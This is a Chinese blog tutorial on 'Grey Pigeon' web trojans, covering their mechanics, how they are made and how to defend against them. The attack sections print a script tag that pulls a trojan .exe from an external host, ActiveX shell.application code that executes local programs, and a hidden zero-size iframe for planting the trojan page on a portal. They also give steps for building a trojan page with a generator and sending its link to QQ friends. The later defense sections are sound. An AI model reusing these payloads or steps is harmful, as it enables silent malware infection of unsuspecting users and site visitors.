“灰鸽子”网页木马从原理、制作到防范

网页木马挂马的实现与防范 阅读详情
如果你访问××网站(国内某门户网站),你就会中灰鸽子木马。这是我一黑客朋友给我说的一句说。打开该网站的首页,经检查,我确实中了灰鸽子。怎 么实现的呢?他说,他侵入了该网站的服务器并在网站主页上挂了网页木马;一些安全专家常说,不要打开陌生人发来的网址,为什么?因为该网址很有可能就是一 些不怀好意者精心制作的网页木马。

  以上只是网页木马的两种形式,实际上网页木马还可以挂在多媒体文件(RM、RMVB、WMV、WMA、Flash)、电子邮件、论坛等多种文件和场合上。很可怕吧,那么用户如何防范网页木马呢?下面我们就先从网页木马的攻击原理说起。

一、网页木马的攻击原理

  首先明确,网页木马实际上是一个HTML网页,与其它网页不同的是该网页是黑客精心制作的,用户一旦访问了该网页就会中木马。为什么说是黑客精 心制作的呢?因为嵌入在这个网页中的脚本恰如其分地利用了IE浏览器的漏洞,让IE在后台自动下载黑客放置在网络上的木马并运行(安装)这个木马,也就是 说,这个网页能下载木马到本地并运行(安装)下载到本地电脑上的木马,整个过程都在后台运行,用户一旦打开这个网页,下载过程和运行(安装)过程就自动开 始。

  有朋友会说,打开一个网页,IE浏览器真的能自动下载程序和运行程序吗?如果IE真的能肆无忌惮地任意下载和运行程序,那天下还不大乱。实际 上,为了安全,IE浏览器是禁止自动下载程序特别是运行程序的,但是,IE浏览器存在着一些已知和未知的漏洞,网页木马就是利用这些漏洞获得权限来下载程 序和运行程序的。下面我举IE浏览器早期的一个漏洞来分别说明这两个问题。

 ⒈自动下载程序

  <SCRIPT LANGUAGE="icyfoxlovelace" src="http://go163go.vicp.net/1.exe"></SCRIPT>

  小提示:代码说明

  a. 代码中“src”的属性为程序的网络地址,本例中“http://go163go.vicp.net/1.exe”为我放置在自己Web服务器上的灰鸽子服务端安装程序,这段代码能让网页下载该程序到浏览它的电脑上。

  b. 也可以把木马程序上传到免费的主页空间上去,但免费空间出于安全的考虑,多数不允许上传exe文件,黑客可能变通一下把扩展名exe改为bat或com,这样他们就可以把这些程序上传到服务器上了。

  把这段代码插入到网页源代码的</BODY>…</BODY>之间(如图1),然后用没打补丁的IE6打开,接下来, 打开IE的临时目录<Temporary Internet Files>,你会发现,在该文件夹中有一个“1.exe”文件,这也就是说,该网页已自动下载了我放置在Web服务器上的灰鸽子木马。

图1 网页木马示例

  小提示:灰鸽子木马

  为什么一定要用灰鸽子木马呢?因为灰鸽子是反弹型木马,该木马能绕过天网等大多数防火墙的拦截,中马后,服务端即被控端能主动连接控制端(客户端),也就是说,一旦被控端连接到Internet,在控制端那里,被控端就会“自动上线”(如图2)。

图2 灰鸽子控制短示例(汗!又一大毒枭:))

  ⒉自动运行程序

  <SCRIPT LANGUAGE="javascript" type="text/javascript"> var shell=new ActiveXObject("shell.application"); shell.namespace("c://Windows//").items().item("Notepad.exe").invokeverb(); </SCRIPT>

  把这段代码插入到网页源代码的</BODY>…</BODY>之间,然后用IE打开该网页,你会发现,这段代码可以在没有打相关补丁的IE6中自动打开记事本。

  这段代码使用了shell.application控件,该控件能使网页获得执行权限,替换代码中的“Notepad.exe”(记事本)程序,可以用它自动运行本地电脑上的任意程序。

  通过以上的代码我们可以看出,利用IE的漏洞,也就是说在网页中插入适当的代码,IE完全可以自动下载和运行程序,不过,IE一旦打了相关补 丁,这些代码就会失去作用。另外,这些代码要运行和下载程序,有些杀毒软件的网页监控会视它们为病毒,为了逃避追杀,黑客可能会使用一些工具对网页的源代 码进行加密处理(如图3)。

图3 加密后的网页代码

二、网页木马的基本用法

  理解了网页木马攻击的原理,我们可以制作自己的网页木马,但这需要你根据IE漏洞写出利用代码。实际上,在网上有很多高手已写出了一些漏洞的利 用代码,有的还把它写成了可视化的程序。在搜索引擎输入“网页木马生成器”进行搜索,你会发现,在网上有很多利用IE的各种漏洞编写的网页木马生成器,它 们大都为可视化的程序,只要你有一个木马(该木马必须把它放置到网络上),利用这些生成器你就可以立即生成一个网页,该网页就是网页木马,只要他人打开这 个网页,该网页就可以自动完成下载木马并运行(安装)木马的过程。

  在我的电脑上我已下载了一个网页木马生成器,下面我们来看怎么生成网页木马并让他人中木马。

  第一步:启动该网页木马生成器,如图4所示,在文本框中输入木马的网络地址,最后单击“生成”。

图4 网页木马生成器

  第二步:在网页木马生成器的安装文件夹会生成一个网页文件,该文件就是我们在上一步生成的网页木马。上传该文件到自己的Web服务器或免费主面空间。

  现在好了,把上述网页在服务器上的地址(网址)通过QQ发给自己的好友,一旦他访问了该网页,该网页就会在他的电脑上自动下载并运行你放置在网络上的木马。

  现在你该明白安全专家劝告的“不要打开陌生人发来的网络地址”这句话的真谛了吧!实际上,即使人人都不打开陌生人发来的网址,也仍然有一些人 “飞蛾补灯,自寻死路”,因为若大的Internet,总会有一些人会有意或无意地访问这些网址,而且,有些网页木马,还挂在一些知名网站上(根据知名网 站的访问量,你算算吧,每天有多少人中了木马!)。

  小提示:你可能还没想到,看电影,在论坛查看或回复帖子也能中木马。实际上,网页木马还可以挂在多媒体文件、电子邮件、论坛、CHM电子书上,这样,用户一旦观看电影、查看或预览邮件(主要是一些用电子邮件群发器发送的垃圾邮件)、参与帖子,打开电子书,用户就会中网页木马。

  在下面我们只介绍黑客如何在知名网站上挂网页木马。下面来看这一段代码:iframe src="http://go163go.vicp.net/hk.htm" width="0" height="0" frameborder="0"></iframe>

  小提示:“src”的属性“http://go163go.vicp.net/hk.htm”是上传到服务器上的网页木马的网址。

  把这段代码插入到某门户网站首页源代码的</BODY>…</BODY>之间,从表面上看,插入后该门户的首页并没有 什么变化,但是,所有访问了该门户网站首页的人都会中木马,为什么会这样呢?这是因为这段代码中<iframe>标签把网页木马网页隐藏性地 “包含”在了插入代码的网页当中。

  <iframe>也叫浮动帧标签,它可以把一个HTML网页嵌入到另一个网页里实现“画中画”的效果(如图5),被嵌入的网页可以 控制宽、高以及边框大小和是否出现滚动条等。在上代代码中,因为把宽(width)、高(height)、边框(frameborder)都设置为了 “0”,所以,上述代码插入到门户网站的首页后,网站的首页不会发生变化,但是,由于嵌入的网页实际上已经打开了,所以网页上的下载木马和运行木马的脚本 还是会随着门户首页的打开而执行的。

图5 iframe标签示例

  也许有人会问,如何把上述代码插入到门户网站首页的源代码中?这个问题问得好,本人才疏学浅,确实无法进入他们的服务器修改网页,但是黑客如果发现了这些服务器上的漏洞且获得了webshell权限,那么修改他们的网页就跟在本地制作一个网页一样容易。

  有人还问,拿到服务器的webshell权限容易吗?如果你对网络安全比较关注,你会发现,经常有这个网站被黑了,那个网站的主页被修改了的新闻爆出。

  有人还问,门户的服务器几乎无漏洞可找,个人服务器的漏洞较多,你能进入吗?本人不是黑客,中华人民共和国的法律规定,入侵和篡改他人服务器上的信息是违法行为,希望大家共同维护网络安全。

  以前,在网上打开一些有名的网站时杀毒软件也会报警,现在你明白其中的道理了吧。有些人在这些网站发帖子骂娘,看了本文,希望在骂娘时你也能为那些垫背的站长想想。

三:网页木马的防范策略

  网页木马的防范只靠杀毒软件和防火墙是远远不够的,因为一旦黑客使用了反弹端口的个人版木马(个人反汇编的一些杀毒软件无法识别的木马),那么杀毒软件和防火墙就无可奈何,所以,网页木马的防范要从它的原理入手,从根子上进行防范。

  ㈠即时安装安全补丁

  网页木马都是利用IE漏洞进行传播的,我们拿冰狐浪子的网页木马(用“冰狐浪子网页木马生成器”制作的网页木马)来说吧,该网页能绕过IE的安 全设置,当用户连接到该网页时,它能在普通用户不知情的情况下在后台下载一个木马并运行(安装)该木马。所以,经常到微软网站去下载并安装最新的安全补丁 是防范网页木马比较有效的办法。

  ㈡改名或卸载(反注册)最不安全的ActiveXObject(IE插件)

  在系统中有些ActiveXObject会运行EXE程序,比如本文中“自动运行程序”代码中的Shell.application控件,这些 控件一旦在网页中获得了执行权限,那么它就会变为木马运行的“温床”,所以把这些控件改名或卸载能彻底防范利用这些控件的网页木马。但是 ActiveXObject是为了应用而出现的,而不是为了攻击而出现的,所有的控件都有它的用处,所以在改名或卸载一个控件之前,你必须确认这个控件是 你不需要的,或者即使卸载了也不关大体的。

  ⒈卸载(反注册)ActiveXObject

  第一步:在“开始”菜单上单击“运行”,输入“CMD”命令打开命令提示符窗口。

  第二步:在命令提示符下输入“regsvr32.exe shell32.dll /u/s”,然后回车就能将Shell.application控件卸载。

  如果日后我们希望继续使用这个控件的话,可以在命令提示符窗口中输入“regsvr32.exe shell32.dll /i/s”命令将它们重新安装(注册)。在上述命令中:“regsvr32.exe”是注册或反注册OLE对象或控件的命令,[/u]是反注册参数, [/s]是寂静模式参数,[/I]为安装参数。

  ⒉改名ActiveXObject

  需要说明的是,改名一个控件时,控件的名称和CLSID(Class ID)都要改,并且要改彻底了。下面仍以Shell.application为例来介绍方法。

  第一步:打开注册表编辑器,查找“Shell.application”。用这个方法能找到两个注册表项:“{13709620-C279-11CE-A49E-444553540000}”和“Shell.application”。

  第二步:把{13709620-C279-11CE-A49E-444553540000}改为{13709620-C279-11CE-A49E-444553540001},注意,不要和系统中的其它CLSID重复。

  第三步:把“Shell.application”改名为“Shell.application_xxx”。以后用到这个控件的时候你使用这个名称就可以正常调用此控件了。

  ㈢提高IE的安全级别,禁用脚本和ActiveX控件

  经笔者的测试,用冰狐浪子的“网页木马专业版生成器”生成的网页木马,只要调高IE的安全级别,或者禁用脚本,该网页木马就不起作用了。从木马 的攻击原理我们可以看出,网页木马是利用IE脚本和ActiveX控件上的一些漏洞下载和运行木马的,只要我们禁用了脚本和ActiveX控件,就可以防 止木马的下载和运行。

  小提示:禁用脚本和ActiveX控件会使一些网页的功能和效果失去作用,所以是否禁用,你要根据自己对安全的需要来定。

  第一步:在IE浏览器的菜单栏上选择“工具→Internet选项”打开“Internet选项”对话框。

  第二步:在“安全”选项卡上,在Internet和本地Internet区域,分别把滑块移动到最高(如图6),或者点击“自定义级别”,在打开的对话框上禁用脚本,禁用ActiveX控件。

 
浏览器安全之网页挂马实战 ——合天网安实验室学习笔记 实验链接 网页挂马指的是把一个木马程序上传到网站里面,使得木马在打开网页时运行。网页挂马方式包括框架挂马、js文件挂马、body挂马、css挂马、图片伪装等。通过实验了解网页挂马相关知识,学会使用框架挂马并进行相关利用。 链接:http://www.hetianlab.com/expc.do?ce=f25a4f6b-ba35-4490-9d00-60acf926acd0 实验简介 实验所属系列: ... 阅读详情

相关推荐

Windows应急响应-灰鸽子远控木马

Windows—灰鸽子远控木马应急思路分享。

本散修的一些学习心得与笔记,道友请自便。 1853

恶意软件样本行为分析——灰鸽子和大白鲨

进行了灰鸽子木马制作和行为分析,并用相似方法对大白鲨木马也进行了探究。

weixin_49816179的博客 2936

【信息安全技术】实验报告:木马及远程控制技术

实验目的 剖析网页木马的工作原理 理解木马的植入过程 学会编写简单的网页木马脚本 通过分析监控信息实现手动删除木马 实验内容 木马生成与植入 利用木马实现远程控制 木马的删除 实验过程 主机A 通过IIS启动木马网站 启动灰鸽子,生成木马的“服务器程序”,生成界面如图: 编写生成网页木马脚本程序,并将之放入“木马网站”的网站空间目录中 改写index.html,完成“挂马”过...

bameng0081的博客 3550

远程访问型木马——灰鸽子软件的使用,零基础入门到精通,收藏这一篇就够了

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

Javachichi的博客 9020

小心防范网页木马

   现在的黑客为了利益驱使,重点攻击方式已转变为对网站网页种植木马,然后阅读该网页的用户就会将木马下载到自己的电脑,从而达到控制用户的目的。下面以“灰鸽子”为例,简单介绍一下其工作原理防范:“灰鸽子网页木马原理制作防范 1.网页木马的攻击原理- 2.为什么是灰鸽子- 3.网页木马的基本用法(1)- 4.网页木马的基本用法(2)- 5.网页木马防范策略(1)- 6.网页木马

学习之路 1166

了解一下木马

木马木马的分类木马的特征木马入侵的方式木马的伪装手段制作木马常用工具木马的加壳与脱壳木马脱壳 在Internet中,木马是一类对计算机具有强大的控制和破坏能力,以窃取账号密码和偷窥重要信息为目的的程序。 组成:硬件部分、软件部分和具体连接部分。 1.硬件部分是指建立木马连接所必须的硬件实体,主要包括服务端、控制端和Internet。 2.软件部分是指实现远程控制所必须的软件程序。 (1)控制端程序运行于控制远程服务端的程序。 (2)服务端程序又称木马程序,它潜伏在服务端内部,以获得目标计算机的操作权限。 (

w1304099880的博客 1905

2017-2018-1 20155232 20155215《信息安全技术》实验四—— 木马及远程控制技术

2017-2018-1 20155232 20155215《信息安全技术》实验四—— 木马及远程控制技术 【实验目的】 剖析网页木马的工作原理 理解木马的植入过程 学会编写简单的网页木马脚本 通过分析监控信息实现手动删除木马 【实验内容】 木马生成与植入 利用木马实现远程控制 木马的删除 【实验原理网页木马原理及相关定义 “网页木马”由其植入方式而得名,是通过浏览网页的方...

aoqian2533的博客 1257

《信息安全技术》 实验四 木马及远程控制技术

《信息安全技术》 实验四 木马及远程控制技术 20155303 狄惟佳 20155333 任欢 实验目的 该实验为设计性实验。 剖析网页木马的工作原理 理解木马的植入过程 学会编写简单的网页木马脚本 通过分析监控信息实现手动删除木马 实验内容 木马生成与植入 利用木马实现远程控制 木马的删除 实验步骤 实验主机 实验角色 主机A、C、E 木马控制端(木马客户端) 主...

aodieshao2474的博客 1093

2017-2018-1 20155207&20155308《信息安全技术》实验四-木马及远程控制技术

2017-2018-1 20155207&20155308《信息安全技术》实验四-木马及远程控制技术 实验目的 剖析网页木马的工作原理 理解木马的植入过程 学会编写简单的网页木马脚本 通过分析监控信息实现手动删除木马 实验内容 木马生成与植入 利用木马实现远程控制 木马的删除 实验步骤 木马生成与植入 1. 生成网页木马 主机A首先通过Internet信息服务(IIS)...

WFS12300的博客 504

20155209 20155230 《信息安全技术》实验四 木马及远程控制技术

索引: 实验目的 实验内容 实验步骤 思考题 实验体会 一、 实验目的 1. 剖析网页木马的工作原理 2. 理解木马的植入过程 3. 学会编写简单的网页木马脚本 4. 通过分析监控信息实现手动删除木马 二、 实验内容 1. 木马生成与植入 2. 利用木马实现远程控制 3. 木马的删除 三、 实验步骤 实验主机 实验角色 主机B 木马被控端(木马服务器) 主机...

aohuang6078的博客 567

[网络安全学习篇24]:漏洞与木马(千峰网络安全视频笔记 p117-p118)

神奇的木马 实现目标 通过经典的木马攻击还原场景,来学习木马制作,并实现植入木马对目标主机进行完全控制。 木马概述 木马通常称为黑客程序,恶意代码,也称特洛伊木马 基于远程控制的黑客工具 木马特性 隐蔽性 潜伏性 再生性 木马组成 客户端程序 安装在攻击者方大的控制台,他负责远程遥控指挥 服务端程序 即木马程序,它被隐藏安装在被攻击者的电脑上,目标主机也称肉鸡 木...

安全知识学习-该平台为唯一原作者平台,其他平台属冒名顶替,请勿相信上当受骗 4758

2017-2018-1 20155318 20155328《信息安全技术》实验四 木马及远程控制技术

2017-2018-1 20155318 20155328《信息安全技术》实验四 木马及远程控制技术 实验目的 析网页木马的工作原理木马的植入过程 会编写简单的网页木马脚本 过分析监控信息实现手动删除木马 实验内容 1. 生成网页木马 主机A首先通过Internet信息服务(IIS)管理器启动“木马网站” → 运行灰鸽子远程监控木马程序 → 生成木马的“服务器程序” 配置服务程...

273

黑客专业术语——入门详细介绍

黑客专业术语是黑客们及内部交流的专有名词,理解专业术语,对入门黑客是有必要的1.肉鸡所谓肉鸡,是一种很形象的比喻,指那些可以被黑客随意控制的电脑,可以随意操纵肉鸡,却又不被对方察觉。2.木马木马是哪些表面上伪装成正常程序的程序,当这些程序被运行时,就会获取整个系统的控制权限。例如很出名的熊猫烧香黑洞、灰鸽子等。3.网页木马

weixin_68789096的博客 611

远程访问型木马——灰鸽子软件的使用(含免杀)

远程访问型木马——灰鸽子 先来了解下什么是远程访问型木马: 1.它在受害者主机上运行一个服务端,监听某个特定端口;入侵者则使用木马的客户端连接到该端口上,向服务端发送各种指令,访问受害者计算机资源。 2.使用这类木马,只需有人运行了服务端程序,如果客户知道了服务端的IP地址,就可以实现远程控制。 3.这类程序可以实现观察受害者正在干什么。 再来了解下灰鸽子: 1.自2001年,灰鸽子诞生之日起,就被反病毒专业人士判定为最具危险性的后门程序,并引发了安全领域的高度关注。2004年、2005年、2006年,灰鸽

weixin_50464560的博客 1万+

灰鸽子--木马、后门实验

目录 实验目的 实验要求 实验原理 实验环境 实验步骤 实验目的 1.了解木马攻击的原理。 2. 掌握木马与后门工作机制 3. 掌握木马与后门的防范措施 实验要求 利用灰鸽子客户端配置服务器程序并生成服务端 配置并生成服务器 进行木马植入,通过灰鸽子客户端界面进行远程连接 实验原理 一个完整的特洛伊木马套装程序含了两部分:服务端(服务器部分)和客户端(控制器部分)。植入对方电脑的是服务端,而黑客正是利用客户端进入运行了服...

mr__sheng的博客 4093

渗透测试-灰鸽子远控木马

木马概述 灰鸽子( Huigezi),原本该软件适用于公司和家庭管理,其功能十分强大,不但能监视摄像头、键盘记录、监控桌面、文件操作等。还提供了黑客专用功能,如:伪装系统图标、随意更换启动项名称和表述、随意更换端口、运行后自删除、毫无提示安装等,并采用反弹链接这种缺陷设计,使得使用者拥有最高权限,一经破解即无法控制。最终导致被黑客恶意使用。原作者的灰鸽子被定义为是一款集多种控制方式于一体的木马程序...

道阻且长,行则将至 1万+

网页木马

当今网络,反病毒软件日益增多,使用的反病毒技术越来越先进,查杀病毒的能力逐渐提高,但病毒制作者并不会罢休,反查杀手段不断升级,新的病毒层出不穷,形式也越来越多样化,为了躲避查杀,病毒自身的隐蔽性越来越高,针对反病毒软件对传统的病毒传播途径的监控能力提高,造成病毒传播困难的问题,越来越多的病毒,利用多数反病毒软件产品对恶意脚本监控能力的缺陷,开始利用网页木马这一危害面最广泛,传播效果最佳的方式来传播

言出必行 4035

灰鸽子和源代码

从其它地方下载仅供学习使用。 都是可读代码 先安装所有控件后,直接编译客户端和服务端,没有错误的情况下就可以直接运行了,如果有错误,用F8一直往下走,一直删除,直到最后编译成功。。不多说了。大家自己研究吧。。。源码是没有毒的,编译后的EXE是有毒的,不懂木马的朋友还是不要随便运行服务端,客户端没事!!

半首催眠曲 7003
上一篇: 编写简单的中文分词程序
下一篇: EXECL,文本文件导入数据库的程序!
bulbul2006
博客等级 码龄20年 27粉丝 79原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值